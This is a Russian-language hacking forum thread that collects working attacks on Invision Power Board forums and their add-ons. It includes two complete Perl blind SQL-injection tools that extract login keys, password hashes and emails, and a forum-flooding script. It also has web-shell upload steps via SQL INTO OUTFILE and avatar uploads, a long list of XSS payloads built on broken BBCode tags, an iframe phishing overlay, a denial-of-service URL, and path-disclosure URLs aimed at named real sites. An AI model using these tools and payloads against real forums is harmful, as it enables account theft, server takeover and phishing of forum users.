ibProArcade <= v3.3.0 sql injection exploit Автор: +toxa+ PHP: #!/usr/bin/perl ## ibProArcade <= v3.3.0 sql injection exploit ## (c)oded by 1dt.w0lf ## RST/GHC ## THIS IS UNPUBLISHED RST/GHC EXPLOIT CODE ## KEEP IT PRIVATE use Tk; use Tk::BrowseEntry; use Tk::DialogBox; use LWP::UserAgent; BEGIN { if($^O eq 'MSWin32'){ require Win32::Console; Win32::Console::Free(); } } $mw = new MainWindow(title => "r57ibProArcade" ); $mw->geometry ( '420x310' ) ; $mw->resizable(0,0); $mw->Label(-text => '!', -font => '{Webdings} 22')->pack(); $mw->Label(-text => 'ibProArcade sql injection exploit by RST/GHC', -font => '{Verdana} 7 bold',-foreground=>'red')->pack(); $mw->Label(-text => '')->pack(); $fleft=$mw->Frame()->pack ( -side => 'left', -anchor => 'ne') ; $fright=$mw->Frame()->pack ( -side => 'left', -anchor => 'nw') ; $url = 'http://127.0.0.1/ipb216/index.php'; $user_id = '1'; $prefix = 'ibf_'; $column = 'member_login_key'; $report = ''; $true = 0; $false = 0; $fleft->Label ( -text => 'Path to forum index: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ; $fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => $url) ->pack ( -side => "top" , -anchor => 'w' ) ; $fleft->Label ( -text => 'User ID: ', -font => '{Verdana} 8 bold' ) ->pack ( -side => "top" , -anchor => 'e' ) ; $fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => $user_id) ->pack ( -side => "top" , -anchor => 'w' ) ; $fleft->Label ( -text => 'Database tables prefix: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ; $fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => $prefix) ->pack ( -side => "top" , -anchor => 'w' ) ; $fright->Label( -text => ' ')->pack(); $fleft->Label( -text => ' ')->pack(); $fleft->Label ( -text => 'get data from database', -font => '{Verdana} 8 bold',-foreground=>'green') ->pack ( -side => "top" , -anchor => 'e' ) ; $fright->Label( -text => ' ')->pack(); $fleft->Label ( -text => 'Get data from column: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ; $b = $fright->BrowseEntry( -relief => "groove", -variable => $column, -font => '{Verdana} 8'); $b->insert("end", "member_login_key"); $b->insert("end", "name"); $b->insert("end", "ip_address"); $b->insert("end", "legacy_password"); $b->insert("end", "email"); $b->pack( -side => "top" , -anchor => 'w' ); $fleft->Label ( -text => 'Returned data: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ; $fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => $report) ->pack ( -side => "top" , -anchor => 'w' ) ; $fright->Label( -text => ' ')->pack(); $fright->Button(-text => 'Test forum vulnerability', -relief => "groove", -width => '30', -font => '{Verdana} 8 bold', -activeforeground => 'red', -command => &test_vuln )->pack(); $fright->Button(-text => 'Get database tables prefix', -relief => "groove", -width => '30', -font => '{Verdana} 8 bold', -activeforeground => 'red', -command => &get_prefix )->pack(); $fright->Button(-text => 'Get data from database', -relief => "groove", -width => '30', -font => '{Verdana} 8 bold', -activeforeground => 'red', -command => &get_data )->pack(); $fleft->Label( -text => ' ')->pack(); $fleft->Label( -text => '+++ PRIV8 +++', -font => '{Verdana} 7')->pack(); $fleft->Label( -text => '(c)oded by 1dt.w0lf', -font => '{Verdana} 7')->pack(); $fleft->Label( -text => 'RST/GHC', -font => '{Verdana} 7')->pack(); MainLoop(); sub get_data() { $true = &get_true(); $report = ''; $s_num=1; while(($chr = &found(0,255))!=0){ $report .= chr($chr); $mw->update(); $s_num++; } if(length($report) > 0) { &report('That\'s all ;)'); } else { &report('Can\'t get data from database'); } } sub test_vuln() { $InfoWindow=$mw->DialogBox(-title => 'test forum vulnerability', -buttons => ["OK"]); $InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack; $InfoWindow->add('Label', -text => $url, -font => '{Verdana} 8')->pack; $InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack; $true = &get_true(); $false = &get_false(); if($true != $false) { $InfoWindow->add('Label', -text => 'FORUM VULNERABLE', -font => '{Verdana} 8 bold',-foreground=>'red')->pack; } else { $InfoWindow->add('Label', -text => 'FORUM UNVULNERABLE', -font => '{Verdana} 8 bold',-foreground=>'green')->pack; } $InfoWindow->Show(); $InfoWindow->destroy; } sub get_true() { $xpl = LWP::UserAgent->new( ) or die; $res = $xpl->get($url."?autocom=arcade&overwrite_sort=added&overwrite_order=,(-gid*(1=1))"); if($res->as_string =~ /g=(d+)" target="hiddenframe"><img src="./arcade/images/addfav.gif"/) { $rep = $1; } return $rep; } sub get_false() { $xpl = LWP::UserAgent->new( ) or die; $res = $xpl->get($url."?autocom=arcade&overwrite_sort=added&overwrite_order=,(-gid*(1=2))"); if($res->as_string =~ /g=(\d+)" target="hiddenframe"><img src=".\/arcade\/images\/addfav.gif"/) { $rep = $1; } return $rep; } sub get_prefix() { $InfoWindow=$mw->DialogBox(-title => 'get database tables prefix', -buttons => ["OK"]); $InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack; $InfoWindow->add('Label', -text => $url, -font => '{Verdana} 8')->pack; $InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack; $xpl = LWP::UserAgent->new( ) or die; $res = $xpl->get($url."?autocom=arcade&overwrite_sort=added&overwrite_order=r57r0x"); if($res->is_success) { $rep = ''; if($res->as_string =~ /from (.*)games_list/) { $prefix = $1; $InfoWindow->add('Label', -text => 'Prefix: '.$prefix, -font => '{Verdana} 8 bold')->pack; } else { $InfoWindow->add('Label', -text => 'Can\'t get prefix', -font => '{Verdana} 8 bold',-foreground=>'red')->pack; } } else { $InfoWindow->add('Label', -text => 'Error!', -font => '{Verdana} 8 bold',-foreground=>'red')->pack; $InfoWindow->add('Label', -text => $res->status_line, -font => '{Verdana} 8')->pack; } $InfoWindow->Show(); $InfoWindow->destroy; } sub found($$) { my $fmin = $_[0]; my $fmax = $_[1]; if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; } $r = int($fmax - ($fmax-$fmin)/2); $check = " BETWEEN $r AND $fmax"; if ( &check($check) ) { &found($r,$fmax); } else { &found($fmin,$r); } } sub crack($$) { my $cmin = $_[0]; my $cmax = $_[1]; $i = $cmin; while ($i<$cmax) { $crcheck = "=$i"; if ( &check($crcheck) ) { return $i; } $i++; } $i = 0; return $i; } sub check($) { $n++; $rep = ''; $ccheck = $_[0]; $xpl = LWP::UserAgent->new( ) or die; $res = $xpl->get($url.'?autocom=arcade',cookie=>'g_display_sort=added;g_display_order=,(-gid*(SELECT 1 FROM '.$prefix.'members WHERE (id='.$user_id.' AND ascii(substring('.$column.','.$s_num.',1))'.$cchec k.') LIMIT 1)) LIMIT 1'); if($res->as_string =~ /g=(d+)" target="hiddenframe"><img src="./arcade/images/addfav.gif"/) { $rep = $1; } if($rep == $true) { return 1; } else { return 0; } } sub report() { $InfoWindow=$mw->DialogBox(-title => 'Report', -buttons => ["OK"]); $InfoWindow->add('Label', -text => $_[0], -font => '{Verdana} 7')->pack; $InfoWindow->Show(); $InfoWindow->destroy; } PS Материал востановлен Дата публикации: 30.01.2008, 21:01 Автор +toxa+
Invision Power Board <=v2.3.4 BBCodes XSS Автор: +toxa+ добавленный кодес в class_bbcode_core.php PHP: ...................... $match[ $_content ][$i] = preg_replace( '#(style)=#is', "$1=", $match[ $_content ][$i] ); $match[ $_option ][$i] = preg_replace( '#(style)=#is', "$1=", $match[ $_option ][$i] ); ....................... //----------------------------------------- // Don't let emos in URL.. //----------------------------------------- if ( $this->parse_smilies ) { if ( count( $this->ipsclass->cache['emoticons'] ) > 0 ) { foreach( $this->ipsclass->cache['emoticons'] as $row) { $code = $row['typed']; $code = str_replace( '<', '<', str_replace( '>', '>', $code ) ); if( strpos( $url, $code ) ) { $new = ''; for( $i=0; $i<strlen($code); $i++ ) { //print dechex(ord($code{$i})).'<Br>'; $new .= '%' . dechex(ord($code{$i})); } $url = str_replace( $code, $new, $url ); } } // Using the :/ smiley $url = str_replace( 'http%3a%2f', 'http:/', $url ); } } $url = htmlspecialchars($url); ....................... //----------------------------------------- // Don't let emos in URL.. //----------------------------------------- if ( $this->parse_smilies ) { if ( count( $this->ipsclass->cache['emoticons'] ) > 0 ) { foreach( $this->ipsclass->cache['emoticons'] as $row) { $code = $row['typed']; $code = str_replace( '<', '<', str_replace( '>', '>', $code ) ); if( strpos( $url['html'], $code ) ) { $new = ''; for( $i=0; $i<strlen($code); $i++ ) { //print dechex(ord($code{$i})).'<Br>'; $new .= '%' . dechex(ord($code{$i})); } $url['html'] = str_replace( $code, $new, $url['html'] ); } } // Using the :/ smiley $url['html'] = str_replace( 'http%3a%2f', 'http:/', $url['html'] ); } } $url['html'] = htmlspecialchars( $url['html'] ); ...................... кому интересно, думаете) PS Материал востановлен Дата публикации: 22.02.2008, 22:22 Автор +toxa+
XSS [Flash] in IPB v1.3, 2.1.5 и 2.2.2 Автор: iddqd Vulnerable: 1.x и 2.x (тестировалось на Invision Power Board v1.3, 2.1.5 и 2.2.2). XSS [Flash] Из-за отсутствия защиты от исполнения JavaScript кода из flash, при включенной поддержке флеша в сообщениях, атакующий может внедрить ссылку на специальный флеш-файл в тело сообщения и атаковать всех участников форума, которые просмотрят тему с данным сообщением. Атака может быть проведена через публикацию флешки в сообщении на форуме, или установки её в качестве аватора. PoC: Fix: Для исправления данной уязвимости нужно установить свойство флеш-объекта allowscriptaccess в "never". PS Материал востановлен Дата публикации: 08.03.2008, 15:14 Автор iddqd
IPB <=2.0.3 SQL-inj Exploit (c) h4cky0u Автор: +toxa+ heres another sick xploit for 2.0.3 again coded by jamey224. Usally works, except for a few boards that are patched.Enjoy! (c) h4cky0u http://h4cky0u.org/viewtopic.php?f=2&t=6110 PHP: use LWP::UserAgent; $ua = new LWP::UserAgent; $ua->agent("Mosiac 1.0" . $ua->agent); if (!$ARGV[0]) {$ARGV[0] = '';} if (!$ARGV[3]) {$ARGV[3] = '';} my $path = $ARGV[0] . '/index.php?act=Login&CODE=autologin'; my $user = $ARGV[1]; # userid to jack my $iver = $ARGV[2]; # version 1 or 2 my $cpre = $ARGV[3]; # cookie prefix my $dbug = $ARGV[4]; # debug? if (!$ARGV[2]) { print "The type of the file system is NTFS.\n\n"; print "Exploit C0d3d By Jamey2244\n"; print "Yes I know I'm g00d\n"; print "LeTS g0!!!\n"; exit; } my @charset = ("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f"); my $outputs = ''; for( $i=1; $i < 33; $i++ ) { for( $j=0; $j < 16; $j++ ) { my $current = $charset[$j]; my $sql = ( $iver < 2 ) ? "99%2527+OR+(id%3d$user+AND+MID(password,$i,1)%3d%2 527$current%2527)/*" : "99%2527+OR+(id%3d$user+AND+MID(member_login_key,$i ,1)%3d%2527$current%2527)/*"; my @cookie = ('Cookie' => $cpre . "member_id=31337420; " . $cpre . "pass_hash=" . $sql); my $res = $ua->get($path, @cookie); # If we get a valid sql request then this # does not appear anywhere in the sources $pattern = '<title>(.*)Log In(.*)</title>'; $_ = $res->content; if ($dbug) { print }; if ( !(/$pattern/) ) { $outputs .= $current; print "$current\n"; last; } } if ( length($outputs) < 1 ) { print "Not Exploitable!\n"; exit; } } print "Cookie: " . $cpre . "member_id=" . $user . ";" . $cpre . "pass_hash=" . $outputs; exit; PS Материал востановлен Дата публикации: 16.03.2008, 16:02 Автор +toxa+
Invision Power Board <=2.3.x iFrame Vulnerability Автор: iddqd 1)Регистрируемся 2)Заходим в свой профиль 3)Изменяем подпись(html включен): PHP: <html> <head> <title>Заголовок</title> </head> <body> <div id="iFrame1" style="position:absolute; left:0px; top:0px; z-index:0"> <iframe name="iFrame1" width=1024 height=3186 src="http://адрес Вашей страницы.html" scrolling="no" frameborder="0"></iframe> </div> </body> </html> 4)Постим сообщение- страница форума перекрывается Вашей страницей. Можно использовать для фейков. PS Материал востановлен Дата публикации: 27.03.2008, 19:01 Автор iddqd
Invision Power Board <=2.3.5 Active XSS Автор: %00 Invision Power Board <=2.3.5 Active XSS Работает в ie Не работает в opera 1) создаем файл any.html внути него <script>alert()</script> 2) содаем пост с аттачем any.html В версиях ниже 2.3.х может не работать... PS Материал востановлен Дата публикации: 20.05.2008, 15:25 Автор %00
Full path disclosure: Автор: ettee Full path disclosure: Version detection: PS Материал востановлен Дата публикации: 02.06.2008, 21:32 Автор ettee
IPB Forum Flood Автор: baltazar ФЛудит как постами так и топиками,проверено на 2.1.7 PHP: #---------------------------- # this programe has been # # created by NikTrix-Souvico # # [ 'HellSoft' ] for # # Flooding IPB Forums # #---------------------------- #!/usr/bin/perl -w use strict; use LWP::UserAgent; use HTTP::Cookies; #Variables my $url = undef; my $login = undef; my $UserName = undef; my $PassWord = undef; my $CookieDate = 1; my $SID = undef; my $SE = undef; my $MSG = undef; #Prototype sub IPBFlood($); #Main print "\t\tWelcome to IPBFlood 0.1x By Souvik\t\t[ 'NikTrix' ]Team"; print "Url\t: ";chomp($url=); print "UserName\t: ";chomp($UserName=); print "Password\t: ";chomp($PassWord=); print "Start [to] End\t: ";chomp($SE=); print "Message\t: ";chomp($MSG=); my $ua = LWP::UserAgent->new; $ua->agent("Mozilla/4.0"); my $cj = HTTP::Cookies->new(file => "N/A" , autosave => 0); $ua->cookie_jar($cj); #-get SID my $r = $ua->get($url); if($r->is_success){ #Find SID ? ($SID) = $r->content =~/\?s=(\w{32})&.*/i; print "SID : $SID"; } #-Connecting ... $r = $ua->post($url.$login,[UserName=> $UserName ,PassWord => $PassWord ,CookieDate =>$CookieDate , s => $SID]); if($r->is_success){ print "[+] Connected" if($r->content =~ /cliquez ici si vous ne souhaitez pas/gi); my($Start , $End) = split(/-/,$SE); foreach($Start..$End){ IPBFlood($_); } } #Subroutines sub IPBFlood($){ my $Topic = shift; my $get = $ua->get($url."s=$SID&showtopic=$Topic"); if($get->is_success){ #Get Subforum ID "f" : variable ! if( my ($f) = $get->content =~/f=(\d{1,4})/ ){ print "[-]Subforum ID : $f & Topic N : $Topic"; #Get Post AuthKey for Subforum f=N° $get = $ua->get($url."s=$SID&act=post&do=reply_post&f=$f&t=$Topic"); # act=post&do=reply_post&f=56&t=43988 if($get->is_success){ ##auth_key Ex : my ( $auth_key ) = $get->content =~/auth_key.*(\w{32})/i; #attach_post_key Ex : my ( $attach_post_key ) = $get->content =~/attach_post_key.*(\w{32})/i; print "[-]auth_key : $auth_key[-]attach_post_key : $attach_post_key"; my %form =(st => 0, act => "Post", s => "$SID", f => "$f", auth_key => "$auth_key", removeattachid => "0", CODE => "03", t => "$Topic", attach_post_key => "$attach_post_key", parent_id => "0", "ed-0_wysiwyg_used"=> "0", "editor_ids%5B%5D" => "ed-0", Post => "$MSG", enableemo => "yes", enablesig => "yes", iconid => "0" ); $r = $ua->post($url."s=$SID",\%form); if($r->is_success){ print "Send success !" if( length($r->content)< 300); } } } } } PS Материал востановлен Дата публикации: 22.07.2008, 00:59 Автор baltazar
Раскрытие пути Автор: Nightmarе Раскрытие пути в модуле "галерея" в IPB 2.3.5: index.php?automodule=gallery&req[]= Пример: http://www.obzvon.com/forums/index.php?automodule=gallery&req[]= Тока щас нашёл, работает везде, возможно кому-то пригодится. PS Материал востановлен Дата публикации: 09.08.2008, 02:06 Автор Nightmarе
Invision Power Board <= 2.3.5 Multiple Vulnerabilities Автор: Elekt Invision Power Board <= 2.3.5 Multiple Vulnerabilities http://acid-root.new.fr/?0:18 http://packetstormsecurity.org/filedesc/ipb235-multi.txt.html Экспоит основывается на SQL-inj в параметре "name" файла "sources/action_public/xmlout.php" и использует технологию классического посимвольного брута данных. Особенность урленкода %2527 делает его независимым от magic_quotes. /ipb235/index.php?s=&act=xmlout&do=check-display-name&name=%2527 В эксплоите предусмотрено три режима работы. -attack 1 Через скуль получают сессию админа. Из настроек извлекается инфа о привязке сессии к ip-address и browser. Если таковая привязка имеется (включено по дефолту) и админ заходил не из под прокси - атака невозможна. В ином случае - извлекаются ip-address и browser админа и производится попытка войти под админом. В случае успешной попытки эксплоит прописывает веб-шелл в файл языка. Вероятность успеха атаки мала, ибо: ~ сессия имет по дефолту привязку к айпи и браузеру ~ время жизни сессии скорее всего просрочено. придется караулить админа, либо спровоцировать его зайти в админку. Сам процесс "ожидания" в эксплоите реализован в цикле - ожидание появления новой сессии. Пример запуска эксплойта: php ipb235-multi.txt -attack 1 -url http://www.ipb-235.com/forum/ -attack 2 Как ни удивительно - в сессии cookie *ipb_stronghold пользователя присутствует пароль к БД. Используя атаку по словарю, эксплоит пытается сбрутить пароль к БД из хеша сессии. Через скуль эксплоит получает имя текущего пользователя БД. Необходима валидная учетная запись, либо куки со сниффера. Вероятность успеха мала и зависит в большей мере от вашего словаря и рэндомности пароля. Пример запуска эксплойта: php ipb235-multi.txt -attack 2 -url http://www.ipb-235.com/forum/ -ip <ВАШ_IP> -dict passwd.txt -uname mynick -pwd password Разложим алгоритм генерации сессии: PHP: $md5 = md5(trim($line).$this->p_sql_u); $md5 = md5($this->p_uid.'-'.$ip_a[0].'-'.$ip_a[1].'-'.$this->p_hash).$md5; $md5 = md5($md5); Преобразуем к: PHP: PHP код: md5(md5($this->p_uid.'-'.$ip_a[0].'-'.$ip_a[1].'-'.$this->p_hash).md5($pass.$this->p_sql_u)) Тогда ~ если *member_id нашего юзера, например, 1745 ~ если у нас ip, например, 192.168.5.235 ~ если cookie *pass_hash, например, 12345678901234567890123456789012 ~ если мы знаем заведомо\получили через SQL-inj имя текущего SQL-юзера к БД, например, sqladmin@localhost Тогда: PHP: md5(md5('1745-192-168-12345678901234567890123456789012'). md5($pass.'sqladmin')) Посмотрел модули в PasswordPro - можно брутить пасс из него по маске. Используем модуль md5(md5($salt).md5($pass)) Ставьте атаку по маске, например, как ?|?|?|?|?|?|?|?|sqladmin где как видите в конце маски идет sql юзер БД. Ну подмаску ?| (a-z) можете выбрать и другую, однако тройной мд5 будет аццки тормозить на широком диапазоне символов... -attack 3 И наконец-то класическая добыча пароля пользователя + соль. Встроенный в эксплоит брутфорс попробует перебрать найденный хеш по словарю, хотя рекомендую перебирать чем-нить по шустрее. php ipb235-multi.txt -attack 3 -url http://www.ipb-235.com/forum/ -dict passwd.txt Реализован режим обхода IDS. Вобщем, автору DarkFig - большой респект. Я немного оптимизировал код. Максимальная скорость работы возросла в среднем в 2.5 раза. На примере атаки #3 : оригинальному эксплоиту потребуется около 500 запросов для брута md5 хеша + соли. Мой вариант для тойже задачи потребует не более 200 ver1.5 ----------------------- Сдесь аттач с программой (у кого права есть, поставьте, будте так добры ) ----------------------- PS Материал востановлен Дата публикации: 30.08.2008, 10:50 Автор Elekt
Автор: Elekt Исходя из адвизори http://acid-root.new.fr/?0:18 есть еще три других существенных бага, не используемых в эксплоите. 1) Утечка админской сессии Идентификатор сессии администратора содержится в HTTP заголовке "Referer" при выборе "Switch between standard and rich text editor". Если атакующий использует удаленный аватар, то становится возможной кража сессии администратора, передаваемая в реферере при обращении к удаленному аватару. 2) Отказ в обслуживании Неправильное использование пост-инкремента в защитной функции разбора массивов. Сервер будет рекурсивно обрабатывать не первые 10 подмассивов, а все. /index.php?foo[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]=123 соответственно чем больше скобок, тем дольше будет обработка 3) HTTP Response Splitting attacks INFO[base_url] не определен в конфиге /admin.php?INFO[base_url]=http://phishing-hax.com/ PS Материал востановлен Дата публикации: 02.09.2008, 09:45 Автор Elekt
Чтение файлов при помощи админки Автор: Dr.Frank Чтение файлов при помощи админки(если шелл залить не получилось). Тестил на версиях 2.3.1 2.3.3 В "управление SQL"->"инструменты"->"выполнить SQL запрос" вводим: Берем номер любого файла(attach_id). Выполняем следующий запрос: или такой(форум иногда точки заменяет спец.символами): и по адресу http://forum/index.php?act=attach&type=post&id=attach_id должен появиться файл с настройками conf_global.php PS Материал востановлен Дата публикации: 16.09.2008, 15:32 Автор Dr.Frank
ibStore <= 3.2.0 DOS http://target/index.php?autocom=store&CODE=item_effect&type=resell,BENCHMARK(10000000,BENCHMARK(10000000,md5(current_date)))
I.P.B. Раскрытие путей Code: http://victim.com/ipb/?&act=attach&code=attach_upload_remove Примеры на популярных форумах: PickUp.Ru: Code: http://www.pickupforum.ru/?&act=attach&code=attach_upload_remove Fatal error: Call to a member function get_space_allowance() on a non-object in /home/pickupforum/pickupforum.ru/sources/classes/attach/class_attach.php on line 993 Fishki.Net: Code: http://forum.fishki.net/?act=attach&code=attach_upload_remove Fatal error: Call to a member function get_space_allowance() on a non-object in /www/forum.fishki.net/sources/classes/attach/class_attach.php on line 993
Множественный активный межсайтовый скриптинг в IP.Board 3.0.x-3.0.5 Множественный активный межсайтовый скриптинг в IP.Board 3.0.x-3.0.5 Версия 3.0.5 на текущий момент является последней в третьей ветке этого форума. Вообще говоря, её появление - хорошая иллюстрация видимости прогресса в обеспечении безопасности, создающейся при появлении более новых версий. Так, третья ветка - это почти возврат к 2005 году в плане защиты от XSS. Мною будет приведен список подвида активных xss-уязвимостей, основанных на разрушении структуры тега. Но это не все имеющиеся там XSS, их Я оставляю будущим поколениям. Я не стану также показывать готовые примеры эксплойтов, а просто отошлю всех интересующихся к источнику, в котором описаны пути преодоления трудностей его составления: https://forum.antichat.ru/showthread.php?t=96612 Однако несколько моментов все же стоит осветить: 1) Запрет expression преодолевается путем кодирования одного из символов комментария в dec (expr&*#47;**/ession) вне пределов стилевого атрибута форума. Но обращение с expression требует немалой осторожности. Исходя из моего опыта саму заглушку expression следует прописывать по старинке в отдельном атрибуте ( style=gg:expression(eval(this.blabla)) blabla=confirm(1);this.blabla=null//), и НИКОГДА не пытаться вставлять рабочий код в само выражение - очень нестабильная конструкция. 2) Мозиловский xml-файл, чтобы уязвимость сработала не только в несвежих версиях FF 2.x, должен быть залит на тот же домен. По умолчанию это возможно. 3) Сокрытие кода возможно через цвет, как описано в источнике, но лучше через стиль и грамотный отказ от вложенных и спаренных тегов в пользу структуры скрещенных bb-тегов. Этот выбор вам предоставится. Объясню на примере: Возьмем структуру вложенных bb-тегов: [*url]http://www.domain.com[*entry=100 xss]Click_me![*/entry][*/url] на выходе : <a href='http://www.domain.com<a href='http://domain.com/index.php?app=blog&module=display&section=blog&showentry=100 xss'>Click_me</a>' class='bbc_url' title='External link' rel='nofollow'>http://www.domain.co...ick_me![*/entry]</a> Видно, что после тега ссылки остались развалины тега, которые бросятся в глаза. Теперь переделаем это в стиле скрещенных bb-тегов: [*url]http://www.domain.com[*entry=100 xss]Click_me![*/url][*/entry] <a href='http://www.domain.com<a href='http://domain.com/index.php?app=blog&module=display&section=blog&showentry=100 xss'>Click_me' class='bbc_url' title='External link' rel='nofollow'>http://www.domain.co...0 xss]Click_me!</a></a> И здесь уже все прежние развалины ушли в потроха, нам осталось всего лишь скрыть их стилем и никаких видимых следов присутствия ни в IE, ни в FF не будет. [*url]http://www.domain.com[*entry=100 bla=confirm(/lo/),this.bla=null style=];display:none;gg:expr&*#47;**/ession(eval(this.bla));-&*#92;&*#54;Doz-binding:url()[*/url][*/entry] <a href='http://www.domain.com<a href='http://domain.com/index.php?app=blog&module=display&section=blog&showentry=100 bla=confirm(1),this.bla=null style='>;display:none;gg:expr&*#47;**/ession(eval(this.bla));-&*#92;&*#54;Doz-binding:url()' class='bbc_url' title='External link' rel='nofollow'>http://www.domain.co...)</a></a> Вот сам список. Все варианты разрушения структуры привожу по тем соображениям, что характер разрушения во многих случаях разнится. 1) [*[email protected]]Clickhere![*/email] A) [*[email protected][*[email protected]][*/email]][*/email] B) [*[email protected][*font=times]This]Click[*/font] here![*/email] C) [*[email protected][*color=red]This]Click[*/color] here![*/email] D) [*[email protected][*background=red]Red_background_behind_this_text]Clickhere![*/background][*/email] E) [*[email protected][*member=admin]runs this site.]Clickhere![*/email] F) [*[email protected][*blog=100]Clickme!]Click[*/blog]here![*/email] G) [*[email protected][*entry=100]Click_me!]Click[*/entry]here![*/email] 2) [*url]http://www.domain.com[*/url] A) [*url]http://www.domain.com[*email][email protected][*/email][*/url] B) [*url]http://www.domain.com[*[email protected]]Clickhere![*/email][*/url] C) [*url]http://www.domain.com[*size=7]This[*/size][*/url] D) [*url]http://www.domain.com[*font=times]This[*/font][*/url] E) [*url]http://www.domain.com[*color=red]This[*/color][*/url] F) [*url]http://www.domain.com[*background=red]Red_background_behind_this_text[*/url][*/background] G) [*url]http://www.domain.com[*blog=100]Clickme![*/blog][*/url] H) [*url]http://www.domain.com[*entry=100]Click_me![*/entry][*/url] 3) [*url=http://www.domain.com]Clickhere![*/url] A) [*url=http://www.domain.com[*[email protected]]Clickhere!]Click[*/email]here![*/url] B) [*url=http://www.domain.com[*font=times]This]Cli[*/font]ckhere![*/url] C) [*url=http://www.domain.com[*color=red]This]Cli[*/color]ckhere![*/url] D) [*url=http://www.domain.com[*background=red]Red_background_behind_this_text]Clickhere![*/background][*/url] E) [*url=http://www.domain.com[*member=admin]runs this site.]Clickhere![*/url] F) [*url=http://www.domain.com[*blog=100 blabla]Clic]kme![*/blog]Clickhere![*/url] G) [*url=http://www.domain.com[*entry=100]Click_me!]Click[*/entry]here![*/url] 4) [*font=times]This[*/font] A) [*font=times[*font=times]This[*/font]]This[*/font] B) [*font=times[*member=admin]runs this site.]This[*/font] C) [*font=times[*blog=100]Clickme!]Th[*/blog]is[*/font] D) [*font=times[*entry=100]Click_me!]Th[*/entry]is[*/font] 5) [*color=red]This[*/color] A) [*color=red[*color=red]This[*/color]]This[*/color] B) [*color=red[*font=times]This]Th[*/font]is[*/color] C) [*color=red[*member=admin]runs this site.]This[*/color] D) [*color=red[*blog=100]Clickme!]Th[*/blog]is[*/color] E) [*color=red[*entry=100]Click_me!]Th[*/entry]is[*/color] 6) [*topic=100]Clickme![*/topic] A) [*topic=100[*topic=100]Clickme![*/topic]]Clickme![*/topic] B) [*topic=100[*post=100]Clickme!]Click[*/post]me![*/topic] C) [*topic=100[*color=red]This]Clic[*/color]kme![*/topic] D) [*topic=100[*font=times]This]Clic[*/font]kme![*/topic] E) [*topic=100[*url=http://www.domain.com]Clickhere!]Cli[*/url]ckme![*/topic] F) [*topic=100[*[email protected]]Clickhere!]Clickme![*/topic][*/email] G) [*topic=100[*acronym='Laugh Out Loud']lo]l[*/acronym]]Clickme![*/topic] H) [*topic=100[*background=red]Red_background_behind_this_text]Clickme![*/background][*/topic] I) [*topic=100[*member=admin]runs this site.]Clickme![*/topic] J) [*topic=100[*blog=100]Clickme!]Clic[*/blog]kme![*/topic] K) [*topic=100[*entry=100]Click_me!]Clickme![*/entry][*/topic] 7) [*post=100]Clickme![*/post] A) [*post=100[*topic=100]Clickme![*/topic]]Clickme![*/post] B) [*post=100[*[email protected]]][*/post][*/email] C) [*post=100[*acronym=Laugh]lol]Clickme![*/acronym][*/post] D) [*post=100[*background=red]Red_background_behind_this_text]Clickme![*/background][*/post] E) [*post=100[*member=admin]runs this site.]Clickme![*/post] F) [*post=100[*blog=100]Clickme!]Clickme![*/post][*/blog] G) [*post=100[*entry=100]Click_me!]Click[*/entry]me![*/post] 8) [*acronym='Laugh Out Loud']lol[*/acronym] A) [*acronym='Laugh Out Loud[*[email protected]]Clickhere!']lol[*/email][*/acronym] B) [*acronym='Laugh Out Loud[*url=http://www.domain.com]Clickhere!']lol[*/url][*/acronym] C) [*acronym='Laugh Out Loud[*font=times]This']lol[*/font][*/acronym] D) [*acronym='Laugh Out Loud[*color=red]This']lol[*/color][*/acronym] E) [*acronym='Laugh Out Loud[*background=red]Red background behind this ]text[*/background]']lol[*/acronym] F) [*acronym='Laugh Out Loud[*member=admin]runs this site.']lol[*/acronym] G) [*acronym='Laugh Out Loud[*acronym='Laugh Out Loud']lol[*/acronym]']lol[*/acronym] --> реинкарнация xss в IPB 2.3.5 от brain[pillow] H) [*acronym=Laugh[*blog=100]Clickme!]lol[*/blog][*/acronym] 9) [*background=red]Red_background_behind_this_text[*/background] A) [*background=red[*font=times]Thi]sRed_background_behind_this_text[*/font][*/background] B) [*background=red[*color=red]This]Red_background_behind_this_text[*/color][*/background] C) [*background=red[*background=red]Red_background_behind_this_text[*/background]]Red_background_behind_this_text[*/background] D) [*background=red[*member=admin]runs this site.]Red_background_behind_this_text[*/background] E) [*background=red[*blog=100]Clickme!]Red [*/blog]background behind this text[*/background] F) [*background=red[*entry=100]]Red[*/entry][*/background] LeverOne. 17.12.2009
Залитие шелла в IPB 3 из админпанели (тестилось на IPB 3.0.1 nulled): вариант1: Поддержка->Управление SQL->Выполняющиеся процессы->Выполнить новый запрос select 0x3c3f706870696e666f28293b3f3e into outfile 'Z:/home/site.ru/www/uploads/shell.php' полный путь можно посмотреть так: ->Поддержка, там будет сверху написана версия PHP и слева ссылка на PHP INFO шелл: http://site.ru/uploads/shell.php PS: Нужны соответствующие права вариант2: Форумы->Прикрепляемые файлы->Типы файлов жмем "Добавить новый тип"->"Использовать какой-нибудь тип как базовый?" - выбираем "Основан на типе php"->"Расширение прикрепляемого файла" - php3 (просто php есть в списке по умолчанию и при загрузке автоматически переименовывается в .txt)->"MIME-тип файла" - unknown/unknown->"Разрешить использовать этот тип файлов, как аватар или фотографию?" - да. Топаем в свой профиль: http://site.ru/index.php?app=core&module=usercp&tab=members&area=avatar грузим аву-шелл с расширением php3 и получаем шелл по адресу: http://site.ru/uploads/av-1.php3 ==================================== Раскрытие пути: Code: http://site.ru/index.php?app[]=core&module=usercp&tab=forums&area=watch&watch=topic&do=list&tid=1 Code: Warning: Constants may only evaluate to scalar values in Z:\home\site.ru\www\admin\sources\base\ipsRegistry.php on line 1400 Code: 